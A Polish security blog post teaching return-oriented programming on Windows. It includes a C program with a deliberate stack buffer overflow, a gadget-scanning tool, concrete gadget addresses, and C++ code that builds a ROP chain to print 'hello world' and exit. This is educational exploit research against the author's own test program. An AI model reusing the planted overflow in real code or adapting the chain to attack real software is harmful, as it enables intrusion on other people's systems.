2009-01-31:

Return-oriented exploiting

medium:windows:c++:asm:security:buffer overflow:return-oriented exploiting
Dzisiaj będzie trochę strikte technicznego security - napiszę co nie co o technice zwanej "return-oriented programming" lub "return-oriented exploiting" lub "ret-to-libc bez wywołań funkcji" lub "ret-to-anything". Jak zwykle podzielę się swoimi spostrzeżeniami co do ów techniki, ponieważ jak zwykle papierki zacząłem czytać po użyciu techniki, zamiast przed nią (to to moje upodobanie do odkrywania koła na nowo).

Cała sprawa rozbija się o stack based buffer overflow - czyli mamy pewien program, który ma pewien bufor, i pewien odczyt do pewnego bufora (chyba nadużywam pewnego słowa). No i jak to zwykle w takich historiach bywa, odczytywane jest za dużo danych, przez co fragment stosu za buforem jest nadpisywany. Przy czym mamy kilka dodatkowych założeń:

1. Stos jest niewykonywalny (polityka W^X, włączony DEP, whatever), a my nie mamy możliwości wrzucić shellcode'u w żadne inne miejsce w pamięci.
2. Nie ma żadnych kanarków śmierci, ciasteczek bezpieczeństwa (security cookie), ani innych zoologiczno-kulinarnych rozwiązań.
3. Mamy dokładne informacje o załadowanych w pamięci bibliotekach, ich adresach, oraz ich wersjach.
4. ASLR (Address Space Layout Randomization, czasem mylnie nazywane przeze mnie Adress Space Randomization Layer) jest wyłączone, lub jest przewidywalne (np. takie jak na Viście, czyli randomizacja następuje w momencie rebootu, i całą resztę czasu 'życia' systemu wszystko jest na tych wyrandomizowanych na początku adresach).

Z uwagi na punkt 1 powyższych założeń, umieszczenie shellcode'u na stosie jest bezcelowe - w momencie gdy EIP znajdzie się na stosie zostanie rzucony śliczny wyjątek, i nici z wykonania naszego kodu.

W odpowiedzi na niewykonywalny stos ktoś mądry (niestety nie mam informacji kto) wymyślił technikę ret-to-libc, polegającą na zapisaniu na stosie adresów funkcji z libc (lub innych bibliotek), oraz ich parametrów. Dzięki czemu EIP nigdy nie trafia na stos, ale i tak są wykonywane funkcje które atakujący chciałby wywołać.

Return-oriented exploiting jest rozwinięciem ret-to-libc. Głównie zmiana polega na tym że zamiast tylko skakać do funkcji, skaczemy do dowolnego fragmentu kodu który jest zakończony ret'em. Takie podejście umożliwia stworzenie prawie dowolnej 'aplikacji' poprzez wtórne wykorzystanie strzępów kodu porozrzucanych po pamięci. Co warte zauważenia, nie jesteśmy ograniczeni tylko do RET i RETN celowo umieszczonych w kodzie przez kompilator - możemy również wykorzystywać wszystkie C3 i C2 XX XX które pojawią się przypadkowo w pamięci, np. MOV EAX, 0xC3414141 będzie skompilowane na B8 41 41 41 C3, co, w zależności od miejsca dekompilacji da:

(offset 0)
B8414141C3 mov eax,0xc3414141


(offset 1)
41 inc ecx
41 inc ecx
41 inc ecx
C3 ret


(offset 2)
41 inc ecx
41 inc ecx
C3 ret


(offset 3)
41 inc ecx
C3 ret


(offset 4)
C3 ret


Jak widać wyżej, interpretacja instrukcji zależy od miejsca gdzie uznamy że się zaczyna (co jak widać, jest bardzo umowne).

OK, mniej więcej temat zarysowałem. Teraz czas na przykładowy program, który posłuży za ilustrację do dalszego wgłębienia się w temat.

Poniższa aplikacja podatna jest na typowy stack-based buffer overflow. W funkcji func () następuje odczyt pliku sploitme.bin, do bufora o stałej wielkości 16 bajtów, posługując się wielkością pliku jako argumentem fread. W funkcji main jest zadeklarowany bufor wielkości 16KB, ot tak żeby stos się za szybko nie skończył (tłumaczenie: podczas testów stos mi się skończył, więc musiałem wrzucić ten bufor ;p).

#include <stdio.h>

int
func ()
{
 char buf[16];
 size_t sz;
 FILE *f;

 f = fopen ("sploitme.bin", "rb");
 if (!f)
   return 1;

 fseek (f, 0, SEEK_END);
 sz = ftell (f);
 fseek (f, 0, SEEK_SET);

 fread (buf, 1, sz, f); // <=- BO

 fclose (f);

 return 0;
}

int
main (void)
{
 char big_buffer[0x4000] = { 0 };
 return func ();
}


Mając ów "błędny" przykład należy sobie teraz wyznaczyć cel. Mój cel będzie prosty - wypisanie 'hello world' na konsoli i poprawne zakończenie aplikacji, oczywiście pamiętając o założeniach jakie przyjęliśmy (bardziej ambitne "programy", typu shell bind or sth, omówię w innym poście).

Do dzieła. Zacząć należy od wymyślenia jak shellcode będzie działać:

1. Wrzuć gdzieś w pamięć "hello world" (jakieś mov [adres], "hell" ...)
2. Wywołaj puts (adres pamięci z hello world) lub podobną funkcję (push+call)
3. Wywołaj ExitProcess lub podobną funkcję (push+call)

Korzystając z ret-to-anything najprostsze z tego wszystkiego będą wywołania funkcji - wystarczy podać na stosie adres, a po nim adres argumentu i już. Gorzej z umieszczeniem gdzieś napisu "hello world" (w sumie można wrzucić na stosie, ale załóżmy że nie znamy dokładnego adresu stosu). Aby wymyślić jakiś sposób umieszczenia "hello world" w pamięci należy zobaczyć jakie mamy możliwości - czyli jakie sekwencje bajtów zakończone C3 lub C2 możemy znaleźć w pamięci procesu (a konkretniej w sekcjach wykonywalnych). W tym celu najlepiej stworzyć pewien skaner, który wypisze nam wszystkie możliwości jakie posiadamy.
Poniżej znajduje się kod takiego skanera - podajemy mu plik .mem (zrzut pamięci, bez żadnych nagłówków, taki wykonany w OllyDbg, nazwany w konwencji cokolowiek_adres.mem) - gdyby ktoś pytał, to ja się do tego kodu nie przyznaje (tzn. jak zwykle pisany na kolanie... np. zamiast użyć distorma or sth, użyłem ndisasm wywoływanego system ()... muszę w końcu wrzucić jakiś swój ładnie napisany program ;p).

#include <gynlibs.cpp>

LONG_MAIN (argc,argv)
{
 CHECK_ARGS(2, "usage: get_opcodes <filename_offset.mem>");
 
 size_t sz, i, j;
 unsigned char *data;
 unsigned int offset;

 data = FileGetContent (argv[1], &sz);
 CHECK_FILEGET_DIE(argv[1], data);

 sscanf (argv[1], "%*[^_]_%x", &offset);
 printf ("using offset: %.8x\n", offset); fflush (stdout);

 for (i = 1; i < sz; i++)
 {
   size_t maxdata = (i >= 10) ? 10 : i;

   if ((i % 100) == 0)
     fprintf (stderr, "%.8x / %.8x\r", i, sz);
   
   if (data[i] == 0xC3 || data[i] == 0xC2) // ret
   {

     j = i - maxdata;
     for (; j < i; j++, maxdata--)
     {
       FileSetContent ("__tmp.bin", &data[j], maxdata + 1 + (data[i] == 0xC2) * 2);
       system ("ndisasm -b 32 __tmp.bin > __tmp.dis"); fflush (stdout); //lame lame, but works
       unsigned char *dis_data;
       size_t dis_sz;
       dis_data = FileGetContentAsText ("__tmp.dis", &dis_sz);

       if (!dis_data)
         continue;

       dis_data[dis_sz-1] = '\0'; // cheat, overwrite the last \0
       if (!strstr ((char*)dis_data, "ret"))
         continue;

       printf ("-----> Offset: %.8x\n", offset + j);
       puts ((char*)dis_data);        
       puts (""); fflush (stdout);
     }

     continue;
   }
 }
 
 delete data;
 
 return 0;
}


Ów program jest na tyle genialnie napisany, że przeskanowanie 2MB pamięci zajmuje mu koło 3ch godzin ;D (hehe OK OK, wrzucę taki skaner ładnie napisany przy okazji na bloga). Program wymaga aktualnego gynlibs.

Używając powyższego appsa przeskanowałem sekcje wykonywalne z kernel32.dll, msvcrt.dll, ntdll.dll oraz sploitme.exe (korzystając z poniższego skryptu):

@echo off

for %%i in (*.mem) do (
 echo Processing %%i...
 get_opcodes %%i >> ret_list.txt
)

echo Done.


W wyniku czego otrzymałem osiemnasto megowy plik tekstowy z różnymi dostępnymi sekwencjami (zdisasemblowanymi na kilka sposobów).

W tym momencie warto odsunąć się o krok od tablicy, i spojrzeć na ów sekwencje jak na pojedyncze instrukcje wykonujące kilka rzeczy - każda sekwencja będzie dla nas jedną instrukcją - i z takich właśnie instrukcji postaramy się złożyć program. Kodem instrukcji będzie oczywiście adres sekwencji.

Wróćmy do głównego zadania - zapisu do pamięci - warto grepnąć listę instrukcji wyrażeniem typu "mov [".

19:35:57 gynvael >cat ret_list.txt | grep -c "mov \["
3622


Sporo, zawężamy więc wyszukiwanie, np. do mov [rejestr_32_bity].


19:38:11 gynvael >cat ret_list.txt | grep -c "mov \[e[a-z]\{2\}\]"
1627


Już lepiej, to teraz powiedzmy że chcemy mov [rejestr_32_bity], rejestr_32_bity:

19:38:21 gynvael >cat ret_list.txt | grep -c "mov \[e[a-z]\{2\}\],e[a-z]\{2\}"
1308


Więc mamy całkiem niezły wybór. Poszukajmy jakiegoś mov [esi], edi:

-----> Offset: 76cfe865 (adres Visty z ASLR, nie sugerować się nim)
00000000  8937              mov [edi],esi
00000002  B001              mov al,0x1
00000004  5F                pop edi
00000005  5E                pop esi
00000006  5D                pop ebp
00000007  C20C00            ret 0xc


Uh, jak widać jest to na czym nam zależy, czyli mov [edi],esi, a gratis, dostaliśmy metodę na wrzucenie do edi i esi adresu i danych - pop edi i pop esi.
Czyli mając powyższą sekwencję, wywołując ją dwa razy (raz od adresu 76cfe869 - żeby pobrać ze stosu edi i esi, a raz od adresu 76cfe865 - aby zapisać do pamięci).

Należy zwrócić uwagę na coś co będzie często spotykane w tej technice - efekty uboczne powyższych instrukcji:
- do al zostanie wrzucone 1
- nastąpi pobranie edi, esi i ebp ze stosu
- po powrocie stos się przesunie o 12 bajtów

Pierwszy efekt uboczny możemy zignorować, natomiast w przypadku dwóch pozostałych - trzeba po prostu coś na stosie przygotować, i pamiętać że edi, esi i ebp są niszczone.

Mając powyższe sekwencje, możemy stworzyć "funkcję" POKE, która umieści DWORD we wskazanym przez nas miejscu. Konstrukcja takiej funkcji jest następująca:

uh, tresciwy obrazek


Jeden rząd kolorowych kwadracików w rządku to kawałek stosu wykorzystywany przez daną 'instrukcje' (sekwencje instrukcji). Dodatkowo, zaznaczyłem mniej więcej co na stosie jest używane przez co. Żółte (aka lemon cadmium) kwadraciki oznaczają istotne parametry, szarofioletowy Trash to oczywiście nieistotne parametry na stosie, a kwadracik ultramarynowy to adresy powrotu - czyli adresy kolejnych sekwencji instrukcji.

Jak widać na ilustracji, mimo iż używam dwóch sekwencji, to pojawiają się cztery adresy powrotu. Wynika to z potrzeby zaradzenia przesunięciu stosu które powoduje instrukcja retn 0xc - aby efekty tej instrukcji były zaniedbywalne, podaje adres instrukcji ret, tak że EIP z wykonania retn 0xc skoczy do ret (przesuwając skok), a ret odczyta następny skok już PO przesunięciu stosu, czyli tam gdzie nam z punktu widzenia programisty jest wygodnie go wstawić.

Mamy więc funkcję POKE, która zawiera się w 16 DWORDach. Teraz wystarczy ją użyć 3 razy aby w dowolne miejsce w pamięci trafiły bajty "hell", "o wo", "rld\0".

Teraz, jak załatwić wywołanie puts a następnie ExitProcess? Sprawa wydaje się prosta - wystarczy podać adres puts, potem adres powrotu (czyli kolejnej instrukcji), a potem parametr. Natomiast trzeba pamiętać o tym, by tego parametru się jakoś pozbyć, tak aby kolejne nasze "instrukcje" miały dobrze wyrównany stos. W tym celu wystarczy wywołać sekwencję pop+ret. Z dostępnym sekwencji wybrałem następującą:

-----> Offset: 76cf08f2
00000000  5D                pop ebp
00000001  C20400            ret 0x4


Rozwiązujemy tym jeden problem (pop ebp pozbędzie się niepotrzebnego już argumentu puts), ale pojawia się następny - retn 0x4. Trzeba więc użyć tego samego triku co w POKE - skoczyć do ret'a, po którym będzie DWORD śmieci, i już.

W przypadku funkcji ExitProcess nie musimy się przejmować stosem po wyjściu z funkcji, z oczywistych powodów.

OK, mamy już wszystko co potrzeba, to teraz napiszmy programik w C++ który to złoży. Podstawą tego programu będzie funkcja insert_dword, która zapisze jeden podany DWORD - jedną jednostkę kontrolowaną przez nas na stosie. Za pomocą tej instrukcji, oraz informacji które wymyśliliśmy wyżej, możemy napisać funkcje POKE (rozbitą na dwie części) oraz INVOKE_PUTS i INVOKE_EXITPROCESS, a następnie skorzystać z nich do stworzenia shellcode (kodu nie trzeba kopiować, na końcu posta jest link do paczki).

FILE *f = fopen ("sploitme.bin", "wb");
 if (!f)
   return 1;

 // Overflow the buffer
 fwrite ("............................", 1, 28, f);

 // Write 0x41424344 to 00
 poke_dword (f, 0x402400, *(unsigned int*)"hell");
 poke_dword (f, 0x402404, *(unsigned int*)"o wo");
 poke_dword (f, 0x402408, *(unsigned int*)"rld\0");
 invoke_puts (f, 0x402400);
 invoke_ExitProcess (f, 0);

 // Done
 fclose (f);


Implementacja POKE wygląda następująco:

void
set_edi_esi_ebp (FILE *f, unsigned int edi, unsigned int esi, unsigned int ebp)
{
 insert_dword (f, ADDR_POP_EDI_POP_ESI_POP_EBP);
 insert_dword (f, edi);
 insert_dword (f, esi);
 insert_dword (f, ebp);
 insert_dword (f, ADDR_RET);
 insert_dword (f, 0xdeaddead);
 insert_dword (f, 0xdeaddead);
 insert_dword (f, 0xdeaddead);
}

void
mov_esi_to_edi_set_edi_esi_ebp (FILE *f, unsigned int edi, unsigned int esi, unsigned ebp)
{
 insert_dword (f, ADDR_MOV_EDI_ESI_POP_EDI_POP_ESI_POP_EBP);
 insert_dword (f, edi);
 insert_dword (f, esi);
 insert_dword (f, ebp);
 insert_dword (f, ADDR_RET);
 insert_dword (f, 0xdeaddead);
 insert_dword (f, 0xdeaddead);
 insert_dword (f, 0xdeaddead);
}

void
poke_dword (FILE *f, unsigned int addr, unsigned int dw)
{
 set_edi_esi_ebp (f, addr, dw, 0xdeaddead);
 mov_esi_to_edi_set_edi_esi_ebp (f, 0xdeaddead, 0xdeaddead, 0xdeaddead);
}


Oba invoke są krótsze:

void
invoke_puts (FILE *f, unsigned int addr)
{
 insert_dword (f, FUNC_PUTS);
 insert_dword (f, ADDR_POP_EBP_RET_4);
 insert_dword (f, addr);
 insert_dword (f, ADDR_RET);
 insert_dword (f, 0xdeaddead);
}

void
invoke_ExitProcess (FILE *f, unsigned int code)
{
 insert_dword (f, FUNC_EXITPROCESS);
 insert_dword (f, 0xdeaddead);
 insert_dword (f, code);
}


Finalnie exploit wygląda tak:

uh, tresciwy obrazek


I co śmieszniejsze, okazuje się, że tak stworzony exploit, faktycznie działa.

Kilka uwag na koniec:
1. Wszystkie adresy powyżej dotyczą mojego kompa w obecnej sesji (ciekawe czy można to do czegoś złego użyć ;p), więc zalecam by czytelnik chcący przetestować technikę sam poszukał wymaganych sekwencji.
2. Warto robić zapiski co do stosu. W momencie kiedy stos jest główną osią wykonania, i na przemian młócą go POP'y, RET'y i RETN'y, łatwo jest się pogubić.
3. Z tego co jest dostępne można stworzyć całkiem niezły język shellcode'owy. Może i jakiś BASIC or sth.
4. O pętlach, if'ach etc, napisze przy okazji.

Link do paczki (dołączyłem też listę sekwencji, tak tylko i wyłącznie dla przykładu): ret_ro_exploit.zip (1.5MB)

Nyom, to tyle.

P.S. Na koniec dwa linki do strony Hovav'a Shacham'a, który mówił o tej technice na zeszłorocznym BlackHacie:
The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
Return-Oriented Programming: Exploits Without Code Injection

Add a comment:

Nick:
URL (optional):
Math captcha: 9 ∗ 1 + 2 =